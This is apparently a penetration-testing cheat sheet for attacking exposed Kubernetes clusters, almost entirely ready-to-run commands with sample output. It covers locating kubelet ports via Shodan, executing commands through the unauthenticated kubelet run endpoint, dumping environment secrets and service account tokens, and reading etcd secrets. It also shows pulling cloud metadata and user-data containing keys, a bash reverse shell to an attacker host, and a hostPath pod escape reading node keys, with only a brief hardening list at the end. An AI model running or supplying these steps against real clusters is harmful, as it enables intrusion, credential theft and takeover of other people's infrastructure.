kubernetes
Pentesting exposed Kubernetes clusters — kubelet exploitation, metadata service abuse and privilege escalation.
$ Finding exposed clusters
During some of the bug bounties I have found some good things like unprotected Kubernetes clusters. The kubelet API usually listens on 10250 (authenticated) and 10255 (read-only). Shodan and Censys are full of nodes exposing these ports.
# Find kubelet endpoints via Shodan
shodan search 'product:"Kubernetes" port:10250'
# Check for anonymous read-only access on the kubelet port
curl -sk https://IP:10250/pods | head -50
curl -sk http://IP:10255/pods | head -50
# Check for anonymous access to the main API server
curl -sk https://IP:6443/api/v1/namespaces
$ Grabbing namespace, pod and container names from the Kubernetes API
curl -sk https://IP:10250/pods
{
"metadata": {
"name": "spinnaker-k8spray-clouddriver-566c56787c-l6mnj",
"namespace": "k8spray",
"uid": "e36e6e6e-8974-11e8-9663-02ceba770664",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "clouddriver",
"image": "quay.io/spinnaker/clouddriver@sha256:60a9b2f79207a8f70db93db981546350d6fd412e0e1f03640cc2f4bec35fc23c",
"resources": {}
}
]
}
}
So in this example the namespace is k8spray, the pod name is spinnaker-k8spray-clouddriver-566c56787c-l6mnj and the container is clouddriver.
$ How to print environment values
Environment variables frequently leak internal secrets — etcd endpoints, service account tokens, database credentials.
curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=printenv"
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=ip-192-168-1-100
ETCD_LISTEN_PEER_URLS=http://0.0.0.0:2381
ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:4002
ETCD_ADVERTISE_CLIENT_URLS=http://etcd-events-a.internal.k8s.io:4002
ETCD_INITIAL_ADVERTISE_PEER_URLS=http://etcd-events-a.internal.k8s:2381
ETCD_INITIAL_CLUSTER=etcd-events-a=http://etcd-events-a.internal.k8s:2381,etcd-events-b=http://etcd-events-b.internal.k8s:2381,etcd-events-c=http://etcd-events-c.internal.k8s:2381
ETCD_NAME=etcd-events-a
ETCD_DATA_DIR=/var/etcd/data-events
ETCD_INITIAL_CLUSTER_STATE=new
ETCD_INITIAL_CLUSTER_TOKEN=etcd-cluster-token-etcd-events
HOME=/root
$ Service account token location and abuse
Every pod gets a service account token mounted at a fixed path. If you have command execution inside a container, read it and use it against the API server to see what you are authorised to do.
# Read the mounted service account token and CA cert
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Use the token against the API server
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk https://IP:6443/api/v1/namespaces/$NAMESPACE/pods -H "Authorization: Bearer $TOKEN"
# Or with kubectl if available
kubectl --token=$TOKEN --insecure-skip-tls-verify get pods -A
$ Checking permissions with kubectl auth can-i
# What can this service account do globally?
kubectl auth can-i --list -A
kubectl auth can-i create pods -A
kubectl auth can-i exec pods -A
kubectl auth can-i get secrets -A
kubectl auth can-i '*' '*' -A
$ etcd exposure
etcd holds the entire cluster state, including secrets. Older clusters ran etcd on port 2379 with no authentication.
# Check for unauthenticated etcd access
curl -s http://IP:2379/version
curl -s http://IP:2379/v2/keys/?recursive=true | head -50
# With etcdctl if you can reach it
etcdctl --endpoints=http://IP:2379 ls /
etcdctl --endpoints=http://IP:2379 get /registry/secrets --prefix --keys-only
$ How to connect to the AWS metadata endpoint
curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=busybox wget -q -O - http://169.254.169.254/latest/meta-data/"
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
$ How to grab user data on a deployment
Instance user-data often contains bootstrap scripts with credentials, API keys and tokens in plain text.
curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=busybox wget -q -O - http://169.254.169.254/latest/user-data"
#! /bin/bash
echo ECS_CLUSTER=web-cluster >> /etc/ecs/ecs.config
sudo docker run -d \
--name instana-agent \
--volume /var/run/docker.sock:/var/run/docker.sock \
--volume /dev:/dev \
--volume /sys:/sys \
--volume /var/log:/var/log \
--privileged \
--net=host \
--pid=host \
--ipc=host \
--env INSTANA_PORT=443 \
--env INSTANA_HOST=saas-eu-west-1.something \
--env INSTANA_KEY=nIadsasd \
--env INSTANA_TAGS=fridayr \
instana/agent
/usr/verticles #
$ How to get a reverse shell
Set up a listener on your VPS to connect back to:
nc -lvp 4444
curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=bash -i >& /dev/tcp/YOURIP/YOURPORT 0>&1"
Once this command has been run you should have a reverse shell connected to your listener.
$ How to connect to the DigitalOcean metadata endpoint
curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=busybox wget -q -O - http://169.254.169.254/metadata/v1/"
id
hostname
user-data
vendor-data
public-keys
region
interfaces/
dns/
$ Retrieve public SSH keys from Google metadata
curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=busybox wget -q -O - --header='Metadata-Flavor: Google' http://metadata/computeMetadata/v1/project/attributes/ssh-keys?alt=json"
The response will provide you with the SSH public keys used for that project.
$ Kubelet ports 10250 and 10255
Port 10250 is the full kubelet API (exec, run, logs, port-forward); 10255 is the read-only endpoint exposing pod listings and stats without authentication. Always check both, plus the metrics port.
# Read-only endpoint: full pod inventory with node info
curl -s http://IP:10255/pods
# Streaming container logs without auth
curl -sk https://IP:10250/containerLogs/NAMESPACE/POD/CONTAINERNAME
# Check the kubelet metrics endpoint
curl -sk https://IP:10250/metrics | grep -i exec
$ hostPath mount escape
If you can create pods (kubectl auth can-i create pods), mount the node's root filesystem via hostPath and read everything on the host — including etcd data, kubelet config, SSH keys and other pods' secrets.
cat <<'EOF' > escape.yaml
apiVersion: v1
kind: Pod
metadata:
name: hostpath-escape
spec:
containers:
- name: escape
image: busybox
command: ["sleep", "3600"]
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
kubectl apply -f escape.yaml
kubectl exec -it hostpath-escape -- ls /host
# Grab the etcd client certs and node SSH keys
kubectl exec -it hostpath-escape -- cat /host/etc/kubernetes/pki/etcd/ca.crt
$ Hardening notes
# Good defences to recommend in a report:
# - kubelet: --anonymous-auth=false, --authorization-mode=Webhook
# - Close port 10255 entirely; restrict 10250 to the control plane
# - Block pod access to 169.254.169.254 (IMDSv2 hop limit, NetworkPolicy)
# - etcd: mutual TLS and firewall off 2379 from the node network
# - RBAC: least privilege per service account, audit with kubectl auth can-i --list
# - Restrict hostPath volumes with PodSecurityPolicy / admission controllers